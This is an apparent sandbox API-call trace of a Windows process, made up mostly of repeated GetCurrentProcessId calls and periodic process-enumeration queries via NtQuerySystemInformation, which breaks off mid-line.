[0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.837] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.838] GetCurrentProcessId () returned 0x388 [0134.841] GetCurrentProcessId () returned 0x388 [0134.841] GetCurrentProcessId () returned 0x388 [0134.841] GetCurrentProcessId () returned 0x388 [0134.841] GetCurrentProcessId () returned 0x388 [0134.841] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0134.842] GetCurrentProcessId () returned 0x388 [0135.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cd48) returned 0x0 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.631] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.632] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.633] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.634] GetCurrentProcessId () returned 0x388 [0135.635] GetCurrentProcessId () returned 0x388 [0135.635] GetCurrentProcessId () returned 0x388 [0135.635] GetCurrentProcessId () returned 0x388 [0135.635] GetCurrentProcessId () returned 0x388 [0136.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cd48) returned 0x0 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.362] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.363] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.364] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.365] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.366] GetCurrentProcessId () returned 0x388 [0136.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x13175940, ResultLength=0x1b88ef40*=0x1cd98) returned 0x0 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.896] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0136.897] GetCurrentProcessId () returned 0x388 [0137.405] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x13175940, ResultLength=0x1b88ef40*=0x1ce38) returned 0x0 [0137.966] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x13175940, ResultLength=0x1b88ef40*=0x1cc38) returned 0x0 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.977] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.978] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.979] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.980] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 [0137.981] GetCurrentProcessId () returned 0x388 Thread: id = 49 os_tid = 0x12b4 [0119.964] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.964] RoInitialize () returned 0x1 [0119.965] RoUninitialize () returned 0x0 [0120.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb98) returned 0x0 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.351] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.352] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.353] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.354] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.355] GetCurrentProcessId () returned 0x388 [0120.965] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb98) returned 0x0 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.975] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () 